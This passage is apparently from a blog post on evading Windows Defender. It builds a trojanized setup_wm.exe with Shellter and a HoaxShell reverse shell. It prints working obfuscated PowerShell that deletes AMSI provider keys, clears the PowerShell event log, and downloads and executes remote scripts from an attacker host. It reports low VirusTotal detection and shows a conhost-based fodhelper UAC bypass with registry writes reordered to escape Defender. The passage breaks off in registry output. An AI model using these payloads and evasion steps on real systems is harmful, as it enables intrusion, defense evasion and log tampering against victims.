<p>Let’s analyze it piece by piece; first of all, I should split the entire payload into two pieces, where the first one will be very effective only during the second phase of this activity, namely once the Administrator right is obtained:</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre><span class="n">cmd</span><span class="w"> </span><span class="nx">/c</span><span class="w"> </span><span class="nx">start</span><span class="w"> </span><span class="nx">/wait</span><span class="w"> </span><span class="nx">/min</span><span class="w"> </span><span class="s2">""</span><span class="w"> </span><span class="nx">C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe</span><span class="w"> </span><span class="nt">-ep</span><span class="w"> </span><span class="nx">bypass</span><span class="w"> </span><span class="nt">-nop</span><span class="w"> </span><span class="nt">-w</span><span class="w"> </span><span class="nx">hidden</span><span class="w"> </span><span class="nt">-noni</span><span class="w"> </span><span class="nt">-c</span><span class="w"> </span><span class="s2">"Remove-Item -Path 'HKLM:\SOFTWARE\Microsoft\AMSI\Providers*\*' -Force -ea SilentlyContinue; Clear-EventLog -LogName 'Windows PowerShell' -ea SilentlyContinue"</span><span class="w">
</span></pre></td></tr></tbody></table></code></pre></div></div>
<p>Since the <code class="language-text highlighter-rouge">-w hidden</code> parameter does not seem to be particularly effective in hiding the PowerShell window, a clever way around this problem was to run it via <code class="language-text highlighter-rouge">cmd /c start /wait /min</code>:</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre><span class="n">cmd</span><span class="w"> </span><span class="nx">/c</span><span class="w"> </span><span class="nx">start</span><span class="w"> </span><span class="nx">/wait</span><span class="w"> </span><span class="nx">/min</span><span class="w"> </span><span class="s2">""</span><span class="w"> </span><span class="nx">C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe</span><span class="w"> </span><span class="nt">-ep</span><span class="w"> </span><span class="nx">bypass</span><span class="w"> </span><span class="nt">-nop</span><span class="w"> </span><span class="nt">-w</span><span class="w"> </span><span class="nx">hidden</span><span class="w"> </span><span class="nt">-noni</span><span class="w">
</span></pre></td></tr></tbody></table></code></pre></div></div>
<p>Also, since the executable I’m working on has a 32-bit architecture, simply running <code class="language-text highlighter-rouge">PowerShell.exe</code> would mean running the 32-bit version of PowerShell. Instead, by running <code class="language-text highlighter-rouge">C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe</code>, I ensure that the 64-bit one is launched.
The embedded PowerShell code is used to fully deactivate AMSI and to clean up the PowerShell event log, but it will work in the second phase of this activity, once the Administrator right is obtained:</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre><span class="n">Remove-Item</span><span class="w"> </span><span class="nt">-Path</span><span class="w"> </span><span class="s1">'HKLM:\SOFTWARE\Microsoft\AMSI\Providers*\*'</span><span class="w"> </span><span class="nt">-Force</span><span class="w"> </span><span class="nt">-ea</span><span class="w"> </span><span class="nx">SilentlyContinue</span><span class="p">;</span><span class="w"> </span><span class="n">Clear-EventLog</span><span class="w"> </span><span class="nt">-LogName</span><span class="w"> </span><span class="s1">'Windows PowerShell'</span><span class="w"> </span><span class="nt">-ea</span><span class="w"> </span><span class="nx">SilentlyContinue</span><span class="w">
</span></pre></td></tr></tbody></table></code></pre></div></div>
<p>Plenty of <em>clean</em> methods can be found on the web to bypass AMSI at the process level, so that even malicious .NET code can be executed, thus not only PowerShell code. However, given the maturity demonstrated by Windows Defender in detecting in-memory patches to the detriment of <code class="language-text highlighter-rouge">amsi.dll</code>, even the most effective AMSI bypasses trigger Windows Defender to intervene by killing the process (<a href="https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Behavior:Win32/AMSI_Patch.Ex.D">Behavior:Win32/AMSI_Patch.Ex.D</a>). For more information about differences between PowerShell only and process-specific AMSI bypasses, please take a look here: <a href="https://s3cur3th1ssh1t.github.io/Powershell-and-the-.NET-AMSI-Interface/">https://s3cur3th1ssh1t.github.io/Powershell-and-the-.NET-AMSI-Interface/</a>.</p>

<p>The second piece of payload, instead, tries to disable the AMSI PowerShell by using the following payload: <a href="https://github.com/raskolnikov90/LainAmsiOpenSession/blob/main/lainamsiopensession.ps1">lainamsiopensession.ps1</a></p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre><span class="n">iex</span><span class="p">(</span><span class="n">New-Object</span><span class="w"> </span><span class="nx">Net.WebClient</span><span class="p">)</span><span class="o">.</span><span class="nf">DownloadString</span><span class="p">(</span><span class="s1">'http://192.168.182.128/4m51.ps1'</span><span class="p">)</span><span class="w">
</span></pre></td></tr></tbody></table></code></pre></div></div>
<p>After that, it waits 30 seconds before running the HoaxShell HTTPS reverse shell:</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre><span class="n">Start-Sleep</span><span class="w"> </span><span class="nt">-Seconds</span><span class="w"> </span><span class="nx">30</span><span class="p">;</span><span class="w"> </span><span class="n">iex</span><span class="p">(</span><span class="n">New-Object</span><span class="w"> </span><span class="nx">Net.WebClient</span><span class="p">)</span><span class="o">.</span><span class="nf">DownloadString</span><span class="p">(</span><span class="s1">'http://192.168.182.128/revs.ps1'</span><span class="p">)</span><span class="w">
</span></pre></td></tr></tbody></table></code></pre></div></div>
<p>Waiting 30 seconds will be useful in the next phases, when I’ll escalate the privileges.</p>

<p>Putting PowerShell commands such as the above (<code class="language-text highlighter-rouge">Remove-Item -Path 'HKLM:\SOFTWARE\Microsoft\AMSI\Providers*\*' -Force</code>) can trigger some AV also during static analysis, so, by using <a href="https://github.com/danielbohannon/Invoke-Obfuscation">Invoke-Obfuscation</a>, I slightly obfuscated the payload in this way:</p>

<p><img src="/assets/img/defender-evasion-shellter-hoaxshell/Invoke-Obfuscation2.png" alt="Invoke-Obfuscation applying the Token/String/1 Concatenate transform to the AMSI Providers registry-clearing scriptblock" loading="lazy" decoding="async" width="1091" height="488" /></p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre><span class="n">Remove-Item</span><span class="w"> </span><span class="nt">-Path</span><span class="w"> </span><span class="p">((</span><span class="s1">'HKLM:DGvS'</span><span class="o">+</span><span class="s1">'OFTWARE'</span><span class="o">+</span><span class="s1">'D'</span><span class="o">+</span><span class="s1">'GvMic'</span><span class="o">+</span><span class="s1">'rosoftDGv'</span><span class="o">+</span><span class="s1">'A'</span><span class="o">+</span><span class="s1">'MS'</span><span class="o">+</span><span class="s1">'IDG'</span><span class="o">+</span><span class="s1">'vProviders*DGv'</span><span class="o">+</span><span class="s1">'*'</span><span class="p">)</span><span class="w"> </span><span class="o">-CreplaCE</span><span class="w">  </span><span class="s1">'DGv'</span><span class="p">,[</span><span class="n">chAR</span><span class="p">]</span><span class="mi">92</span><span class="p">)</span><span class="w"> </span><span class="nt">-Force</span><span class="w"> </span><span class="nt">-ea</span><span class="w"> </span><span class="n">SilentlyContinue</span><span class="p">;</span><span class="w"> </span><span class="n">Clear-EventLog</span><span class="w"> </span><span class="nt">-LogName</span><span class="w"> </span><span class="p">(</span><span class="s1">'Wind'</span><span class="o">+</span><span class="s1">'ows Pow'</span><span class="o">+</span><span class="s1">'erS'</span><span class="o">+</span><span class="s1">'hell'</span><span class="p">)</span><span class="w"> </span><span class="nt">-ea</span><span class="w"> </span><span class="n">SilentlyContinue</span><span class="w">
</span></pre></td></tr></tbody></table></code></pre></div></div>
<p><img src="/assets/img/defender-evasion-shellter-hoaxshell/Invoke-Obfuscation1.png" alt="Invoke-Obfuscation applying the Token/String/1 Concatenate transform to the full multi-stage PowerShell payload" loading="lazy" decoding="async" width="1088" height="453" /></p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre><span class="n">iex</span><span class="p">(</span><span class="n">New-Object</span><span class="w"> </span><span class="nx">Net.WebClient</span><span class="p">)</span><span class="o">.</span><span class="nf">DownloadString</span><span class="p">((</span><span class="s1">'http://192.168.1'</span><span class="o">+</span><span class="s1">'8'</span><span class="o">+</span><span class="s1">'2.1'</span><span class="o">+</span><span class="s1">'2'</span><span class="o">+</span><span class="s1">'8'</span><span class="o">+</span><span class="s1">'/4m51.'</span><span class="o">+</span><span class="s1">'p'</span><span class="o">+</span><span class="s1">'s'</span><span class="o">+</span><span class="s1">'1'</span><span class="p">));</span><span class="w"> </span><span class="n">Remove-Item</span><span class="w"> </span><span class="nt">-Path</span><span class="w"> </span><span class="p">((</span><span class="s1">'HKL'</span><span class="o">+</span><span class="s1">'M:{0}'</span><span class="o">+</span><span class="s1">'SOF'</span><span class="o">+</span><span class="s1">'TWARE{0}M'</span><span class="o">+</span><span class="s1">'icro'</span><span class="o">+</span><span class="s1">'sof'</span><span class="o">+</span><span class="s1">'t{0}'</span><span class="o">+</span><span class="s1">'A'</span><span class="o">+</span><span class="s1">'MSI{'</span><span class="o">+</span><span class="s1">'0}Pr'</span><span class="o">+</span><span class="s1">'o'</span><span class="o">+</span><span class="s1">'viders*{'</span><span class="o">+</span><span class="s1">'0}*'</span><span class="p">)</span><span class="w"> </span><span class="nt">-f</span><span class="w"> </span><span class="p">[</span><span class="n">cHAR</span><span class="p">]</span><span class="mi">92</span><span class="p">)</span><span class="w"> </span><span class="nt">-Force</span><span class="w"> </span><span class="nt">-ea</span><span class="w"> </span><span class="n">SilentlyContinue</span><span class="p">;</span><span class="w"> </span><span class="n">Start-Sleep</span><span class="w"> </span><span class="nt">-Seconds</span><span class="w"> </span><span class="nx">30</span><span class="p">;</span><span class="w"> </span><span class="n">iex</span><span class="p">(</span><span class="n">New-Object</span><span class="w"> </span><span class="nx">Net.WebClient</span><span class="p">)</span><span class="o">.</span><span class="nf">DownloadString</span><span class="p">((</span><span class="s1">'http://'</span><span class="o">+</span><span class="s1">'192.168.1'</span><span class="o">+</span><span class="s1">'82.'</span><span class="o">+</span><span class="s1">'12'</span><span class="o">+</span><span class="s1">'8/revs'</span><span class="o">+</span><span class="s1">'.ps1'</span><span class="p">));</span><span class="w"> </span><span class="n">Clear-EventLog</span><span class="w"> </span><span class="nt">-LogName</span><span class="w"> </span><span class="p">(</span><span class="s1">'Windo'</span><span class="o">+</span><span class="s1">'ws Po'</span><span class="o">+</span><span class="s1">'w'</span><span class="o">+</span><span class="s1">'er'</span><span class="o">+</span><span class="s1">'Shell'</span><span class="p">)</span><span class="w"> </span><span class="nt">-ea</span><span class="w"> </span><span class="n">SilentlyContinue</span><span class="w">
</span></pre></td></tr></tbody></table></code></pre></div></div>
<p>So, the final payload was:</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre><span class="n">cmd</span><span class="w"> </span><span class="nx">/c</span><span class="w"> </span><span class="nx">start</span><span class="w"> </span><span class="nx">/wait</span><span class="w"> </span><span class="nx">/min</span><span class="w"> </span><span class="s2">""</span><span class="w"> </span><span class="nx">C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe</span><span class="w"> </span><span class="nt">-ep</span><span class="w"> </span><span class="nx">bypass</span><span class="w"> </span><span class="nt">-nop</span><span class="w"> </span><span class="nt">-w</span><span class="w"> </span><span class="nx">hidden</span><span class="w"> </span><span class="nt">-noni</span><span class="w"> </span><span class="nt">-c</span><span class="w"> </span><span class="s2">"Remove-Item -Path (('HKLM:DGvS'+'OFTWARE'+'D'+'GvMic'+'rosoftDGv'+'A'+'MS'+'IDG'+'vProviders*DGv'+'*') -CreplaCE  'DGv',[chAR]92) -Force -ea SilentlyContinue; Clear-EventLog -LogName ('Wind'+'ows Pow'+'erS'+'hell') -ea SilentlyContinue"</span><span class="w"> </span><span class="o">&amp;</span><span class="w"> </span><span class="nx">cmd</span><span class="w"> </span><span class="nx">/c</span><span class="w"> </span><span class="nx">start</span><span class="w"> </span><span class="nx">/min</span><span class="w"> </span><span class="s2">""</span><span class="w"> </span><span class="nx">C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe</span><span class="w"> </span><span class="nt">-ep</span><span class="w"> </span><span class="nx">bypass</span><span class="w"> </span><span class="nt">-nop</span><span class="w"> </span><span class="nt">-w</span><span class="w"> </span><span class="nx">hidden</span><span class="w"> </span><span class="nt">-noni</span><span class="w"> </span><span class="nt">-c</span><span class="w"> </span><span class="s2">"iex(New-Object Net.WebClient).DownloadString(('http://192.168.1'+'8'+'2.1'+'2'+'8'+'/4m51.'+'p'+'s'+'1')); Remove-Item -Path (('HKL'+'M:{0}'+'SOF'+'TWARE{0}M'+'icro'+'sof'+'t{0}'+'A'+'MSI{'+'0}Pr'+'o'+'viders*{'+'0}*') -f [cHAR]92) -Force -ea SilentlyContinue; Start-Sleep -Seconds 30; iex(New-Object Net.WebClient).DownloadString(('http://'+'192.168.1'+'82.'+'12'+'8/revs'+'.ps1')); Clear-EventLog -LogName ('Windo'+'ws Po'+'w'+'er'+'Shell') -ea SilentlyContinue"</span><span class="w">
</span></pre></td></tr></tbody></table></code></pre></div></div>
<p><img src="/assets/img/defender-evasion-shellter-hoaxshell/shellter3.png" alt="Shellter finishing PE checksum fix and injection verification; sha256sum of the trojanized setup_wm.exe returns e5d427a8..." loading="lazy" decoding="async" width="1009" height="899" />
The trojanized <code class="language-text highlighter-rouge">setup_wm.exe</code> has been created:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
</pre></td><td class="rouge-code"><pre><span class="nb">sha256sum</span> /home/MrTiz/DefenderBypass/setup_wm.exe

e5d427a8d9132f8ff121a20fb6e5168c3e74826ca3dd3a62fc1306693260f74a  /home/MrTiz/DefenderBypass/setup_wm.exe
</pre></td></tr></tbody></table></code></pre></div></div>

<p>On VirusTotal, we found only 3/70 detections, and Windows Defender didn’t detect anything: <a href="https://www.virustotal.com/gui/file/e5d427a8d9132f8ff121a20fb6e5168c3e74826ca3dd3a62fc1306693260f74a">https://www.virustotal.com/gui/file/e5d427a8d9132f8ff121a20fb6e5168c3e74826ca3dd3a62fc1306693260f74a</a></p>

<p><img src="/assets/img/defender-evasion-shellter-hoaxshell/virustotal.png" alt="VirusTotal report for the trojanized setup_wm.exe: only 3 of 70 vendors flag it as malicious (Bkav Pro, Fortinet, Rising)" loading="lazy" decoding="async" width="1778" height="1000" /></p>

<h3 id="trojan-execution">Trojan execution</h3>
<p>Once the trojan is uploaded to the victim’s machine, simply run it:</p>

<p><img src="/assets/img/defender-evasion-shellter-hoaxshell/troj-setup_wm.png" alt="PowerShell Get-FileHash on the Windows victim confirming the trojanized setup_wm.exe (SHA256 E5D427A8...)" loading="lazy" decoding="async" width="1168" height="210" /></p>

<p>The <code class="language-text highlighter-rouge">4m51.ps1</code> will be automatically downloaded by the victim’s machine and executed to bypass AMSI protection; after about 30 seconds, <code class="language-text highlighter-rouge">revs.ps1</code> will also be downloaded and executed, and the HTTPS reverse shell will be triggered:</p>

<p><img src="/assets/img/defender-evasion-shellter-hoaxshell/python_webserver2.png" alt="Python HTTP server logs showing the victim (192.168.182.129) requesting /4m51.ps1 and /revs.ps1, both returning HTTP 200" loading="lazy" decoding="async" width="988" height="130" />
<img src="/assets/img/defender-evasion-shellter-hoaxshell/hoaxshell2.png" alt="HoaxShell reverse shell established: initial PowerShell recon (date, whoami, hostname, whoami /priv, Get-HotFix) with no Defender detections" loading="lazy" decoding="async" width="1009" height="899" /></p>

<p>As you can see in the above screenshot, the following command does not return any results, meaning that no detections from Windows Defender have been triggered:</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre><span class="n">Get-MpThreatDetection</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">Where-Object</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="bp">$_</span><span class="o">.</span><span class="nf">InitialDetectionTime</span><span class="w"> </span><span class="o">-ge</span><span class="w"> </span><span class="p">(</span><span class="n">Get-Date</span><span class="w"> </span><span class="s2">"6/22/2025 00:00:00"</span><span class="p">)</span><span class="w"> </span><span class="p">}</span><span class="w">
</span></pre></td></tr></tbody></table></code></pre></div></div>

<p>I can see the current Windows 11 build (<code class="language-text highlighter-rouge">10.0.26100.4351</code>) and some information related to the current PowerShell process, which shows that my process is not running in a High integrity level:</p>

<p><img src="/assets/img/defender-evasion-shellter-hoaxshell/hostinfo.png" alt="PowerShell recon showing Windows 11 Education build 10.0.26100.4351 and the current powershell.exe running non-elevated as MrTiz" loading="lazy" decoding="async" width="1009" height="899" /></p>

<p>Moreover, I can also see Windows Defender status:</p>

<p><img src="/assets/img/defender-evasion-shellter-hoaxshell/defenderstatus1.png" alt="Get-MpComputerStatus output confirming Windows Defender is fully enabled and Tamper Protection is active on the victim" loading="lazy" decoding="async" width="1009" height="899" /></p>

<h3 id="testing-the-effectiveness-of-amsi-bypass">Testing the effectiveness of AMSI bypass</h3>
<p>It is time to test the effectiveness of the performed AMSI bypass.</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
</pre></td><td class="rouge-code"><pre><span class="n">iex</span><span class="w"> </span><span class="p">(</span><span class="n">New-Object</span><span class="w"> </span><span class="nx">Net.WebClient</span><span class="p">)</span><span class="o">.</span><span class="nf">DownloadString</span><span class="p">(</span><span class="s1">'https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/refs/heads/master/PowerSharpBinaries/Invoke-Seatbelt.ps1'</span><span class="p">)</span><span class="w">

</span><span class="n">Invoke-Seatbelt</span><span class="w">
</span></pre></td></tr></tbody></table></code></pre></div></div>
<p><img src="/assets/img/defender-evasion-shellter-hoaxshell/Invoke-SeatBelt.png" alt="Invoke-Seatbelt blocked by .NET AMSI; Get-MpThreatDetection then reveals that Windows Defender detected the AMSI patch attempt in powershell.exe" loading="lazy" decoding="async" width="1009" height="583" />
As you can see, I have no problem importing the <code class="language-text highlighter-rouge">Invoke-SeatBelt.ps1</code> module, a symptom that the AMSI PowerShell bypass works; however, as soon as I execute <code class="language-text highlighter-rouge">Invoke-SeatBelt</code>, I’m blocked by .NET’s AMSI, also triggering Windows Defender.</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre><span class="n">Exception</span><span class="w"> </span><span class="nx">calling</span><span class="w"> </span><span class="s2">"Load"</span><span class="w"> </span><span class="nx">with</span><span class="w"> </span><span class="s2">"1"</span><span class="w"> </span><span class="nx">argument</span><span class="p">(</span><span class="n">s</span><span class="p">):</span><span class="w"> </span><span class="s2">"Could not load file or assembly '608256 bytes loaded from Anonymously Hosted DynamicMethods Assembly, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null' or one of its dependencies. An attempt was made to load a program with an incorrect format."</span><span class="w"> </span><span class="n">Unable</span><span class="w"> </span><span class="nx">to</span><span class="w"> </span><span class="nx">find</span><span class="w"> </span><span class="nx">type</span><span class="w"> </span><span class="p">[</span><span class="n">AnschnallGurt.Program</span><span class="p">]</span><span class="o">.</span><span class="w">
</span></pre></td></tr></tbody></table></code></pre></div></div>
<p>This behavior is expected, since generally an AMSI .NET bypass would have required patching the memory of the entire process, thus triggering a detection by Windows Defender, resulting in a PowerShell kill.</p>

<p>However, I don’t have any major problems running pure PowerShell code; otherwise, AMSI would have blocked me already when downloading the <code class="language-text highlighter-rouge">Invoke-SeatBelt.ps1</code> file from GitHub. To demonstrate this, I will therefore run <code class="language-text highlighter-rouge">winPEAS.ps1</code>.</p>

<p>Unfortunately, because of this major <a href="https://github.com/t3l3machus/hoaxshell?tab=readme-ov-file#limitations">limitation of HoaxShell</a>, I will have to run <strong>winPEAS</strong> in separate job, in the background, being careful, however, not to run a new PowerShell process, which would be created without the AMSI bypass made earlier.</p>

<p>For this reason, <strong>winPEAS</strong> was not launched using <code class="language-text highlighter-rouge">Start-Process</code> or <code class="language-text highlighter-rouge">Start-Job</code>, but rather through <a href="https://learn.microsoft.com/en-us/powershell/scripting/developer/hosting/creating-runspaces">Runspaces</a>:</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
</pre></td><td class="rouge-code"><pre><span class="nv">$runspace</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="n">runspacefactory</span><span class="p">]::</span><span class="n">CreateRunspace</span><span class="p">()</span><span class="w">
</span><span class="nv">$runspace</span><span class="o">.</span><span class="nf">ApartmentState</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"STA"</span><span class="w">
</span><span class="nv">$runspace</span><span class="o">.</span><span class="nf">ThreadOptions</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"ReuseThread"</span><span class="w">
</span><span class="nv">$runspace</span><span class="o">.</span><span class="nf">Open</span><span class="p">()</span><span class="w">
</span><span class="nv">$ps</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="n">PowerShell</span><span class="p">]::</span><span class="n">Create</span><span class="p">()</span><span class="w">
</span><span class="nv">$ps</span><span class="o">.</span><span class="nf">Runspace</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nv">$runspace</span><span class="w">
</span><span class="nv">$ps</span><span class="o">.</span><span class="nf">AddScript</span><span class="p">(</span><span class="s2">"iex(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/peass-ng/PEASS-ng/master/winPEAS/winPEASps1/winPEAS.ps1') &gt; C:\Users\MrTiz\Downloads\peas.txt"</span><span class="p">)</span><span class="w">
</span><span class="nv">$asyncResult</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nv">$ps</span><span class="o">.</span><span class="nf">BeginInvoke</span><span class="p">()</span><span class="w">
</span></pre></td></tr></tbody></table></code></pre></div></div>
<p><img src="/assets/img/defender-evasion-shellter-hoaxshell/winPEAS1.png" alt="PowerShell Runspaces launching winPEAS in the background and redirecting output to C:/Users/MrTiz/Downloads/peas.txt" loading="lazy" decoding="async" width="1009" height="899" /></p>

<p>The output of the command was redirected to <code class="language-text highlighter-rouge">C:\Users\MrTiz\Downloads\peas.txt</code>:</p>

<p><img src="/assets/img/defender-evasion-shellter-hoaxshell/winPEAS2.png" alt="winPEAS output (peas.txt) showing host and system info: Windows 11 Education on VMware, AMD Ryzen CPU, installed hotfixes" loading="lazy" decoding="async" width="1009" height="899" />
<img src="/assets/img/defender-evasion-shellter-hoaxshell/winPEAS3.png" alt="winPEAS output continued: virtualization-based security status, Windows update history, drive C: capacity" loading="lazy" decoding="async" width="1009" height="899" />
<img src="/assets/img/defender-evasion-shellter-hoaxshell/winPEAS4.png" alt="winPEAS output continued: recent Windows update results, drive C: details, local password and lockout policy" loading="lazy" decoding="async" width="1009" height="899" /></p>

<h2 id="post-exploitation">Post-exploitation</h2>
<h3 id="privilege-escalation">Privilege escalation</h3>
<p>The user is currently part of the <code class="language-text highlighter-rouge">Administrators</code> group; however, since I’m running in a <em>Medium integrity level</em>, I cannot perform any admin action on the victim machine:</p>

<p><img src="/assets/img/defender-evasion-shellter-hoaxshell/user_privs1.png" alt="PowerShell showing MrTiz is a member of the local Administrators group but currently running at Medium integrity with only limited privileges" loading="lazy" decoding="async" width="695" height="355" /></p>

<p>Moreover, the UAC is enabled:</p>

<p><img src="/assets/img/defender-evasion-shellter-hoaxshell/uac1.png" alt="Windows User Account Control Settings dialog with the notification slider at the default level" loading="lazy" decoding="async" width="746" height="553" /></p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre><span class="p">(</span><span class="n">Get-ItemProperty</span><span class="w"> </span><span class="nt">-Path</span><span class="w"> </span><span class="nx">HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System</span><span class="p">)</span><span class="o">.</span><span class="nf">EnableLUA</span><span class="w">
</span></pre></td></tr></tbody></table></code></pre></div></div>
<p><img src="/assets/img/defender-evasion-shellter-hoaxshell/uac2.png" alt="PowerShell Get-ItemProperty confirming EnableLUA = 1, i.e. UAC is enabled on the victim" loading="lazy" decoding="async" width="976" height="68" /></p>

<p>So, since the user is in the <code class="language-text highlighter-rouge">Administrators</code> group, I can try to bypass UAC. There are various methods to do this, some of them, based on the exploitation of <code class="language-text highlighter-rouge">Fodhelper.exe</code>, are very simple to implement, such as the following:</p>
<ul>
  <li><a href="https://github.com/P4R4D0X-HACKS/UAC-Bypass/blob/main/script.ps1">https://github.com/P4R4D0X-HACKS/UAC-Bypass/blob/main/script.ps1</a></li>
  <li><a href="https://gist.github.com/netbiosX/a114f8822eb20b115e33db55deee6692">https://gist.github.com/netbiosX/a114f8822eb20b115e33db55deee6692</a></li>
</ul>

<p>Unfortunately, these methods are promptly detected by Windows Defender, which blocks the exploitation and kills the PowerShell process: <a href="https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=HackTool:Win32/UACBypass.A&amp;threatId=-2147190855">HackTool:Win32/UACBypass.A</a></p>

<p>However, by making some minor corrections to the launched commands and reversing the order in which the registry keys are modified, I can nimbly bypass Defender’s monitoring and exploit <code class="language-text highlighter-rouge">fodhelper.exe</code>.
To do this, I used a legitimate Microsoft system executable present in all Windows installations, namely <code class="language-text highlighter-rouge">C:\Windows\System32\conhost.exe</code>. As you can see from <a href="https://lolbas-project.github.io/lolbas/Binaries/Conhost/">LOLBAS</a>, I can use <code class="language-text highlighter-rouge">conhost.exe</code> to execute arbitrary commands. This way, Windows Defender will see that <code class="language-text highlighter-rouge">conhost.exe</code> is modifying registry keys, not <code class="language-text highlighter-rouge">PowerShell.exe</code>, dramatically increasing the stealthiness of the change.
In addition, reversing the order in which commands are executed also leads Defender to not suspect that a UAC bypass is taking place; in fact, as a first action, I will go to modify <code class="language-text highlighter-rouge">HKCU:\Software\Classes\ms-settings\CurVer</code> by assigning a class that does not yet exist and will be created later. Generally, it is the modification of said registry key that triggers Windows Defender, but by assigning it a non-existent class, no detection is raised. The class will be created later.</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
</pre></td><td class="rouge-code"><pre><span class="n">conhost.exe</span><span class="w"> </span><span class="nx">cmd</span><span class="w"> </span><span class="nx">/c</span><span class="w"> </span><span class="nx">REG</span><span class="w"> </span><span class="nx">ADD</span><span class="w"> </span><span class="s2">"HKCU\Software\Classes\ms-settings\CurVer"</span><span class="w"> </span><span class="nx">/D</span><span class="w"> </span><span class="s2">".MrTiz"</span><span class="w"> </span><span class="nx">/F</span><span class="w">
</span><span class="n">conhost.exe</span><span class="w"> </span><span class="nx">cmd</span><span class="w"> </span><span class="nx">/c</span><span class="w"> </span><span class="nx">REG</span><span class="w"> </span><span class="nx">ADD</span><span class="w"> </span><span class="s2">"HKCU\Software\Classes\.MrTiz\Shell\Open\command"</span><span class="w"> </span><span class="nx">/D</span><span class="w"> </span><span class="s2">"conhost.exe cmd /c C:\Users\MrTiz\Downloads\setup_wm.exe"</span><span class="w"> </span><span class="nx">/F</span><span class="w">
</span></pre></td></tr></tbody></table></code></pre></div></div>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
</pre></td><td class="rouge-code"><pre><span class="n">Get-ItemProperty</span><span class="w"> </span><span class="nt">-Path</span><span class="w"> </span><span class="nx">HKCU:\Software\Classes\ms-settings\CurVer</span><span class="w">

</span><span class="p">(</span><span class="n">default</span><span class="p">)</span><span class="w">    </span><span class="p">:</span><span class="w"> </span><span class="o">.</span><span class="nf">MrTiz</span><span class="w">
</span><span class="n">PSPath</span><span class="w">       </span><span class="p">:</span><span class="w"> </span><span class="nx">Microsoft.PowerShell.Core\Registry::HKEY_CURRENT_USER\Software\Classes\ms-settings\CurVer</span><span class="w">
</span><span class="n">PSParentPath</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="nx">Microsoft.PowerShell.Core\Registry::HKEY_CURRENT_USER\Software\Classes\ms-settings</span><span class="w">
</span><span class="n">PSChildName</span><span class="w">  </span><span class="p">:</span><span class="w"> </span><span class="nx">CurVer</span><span class="w">
</span><span class="n">PSDrive</span><span class="w">      </span><span class="p">:</span><span class="w"> </span><span class="nx">HKCU</span><span class="w">
</span><span class="n">PSProvider</span><span class="w">   </span><span class="p">:</span><span class="w"> </span><span class="nx">Microsoft.PowerShell.Core\Registry</span><span class="w">
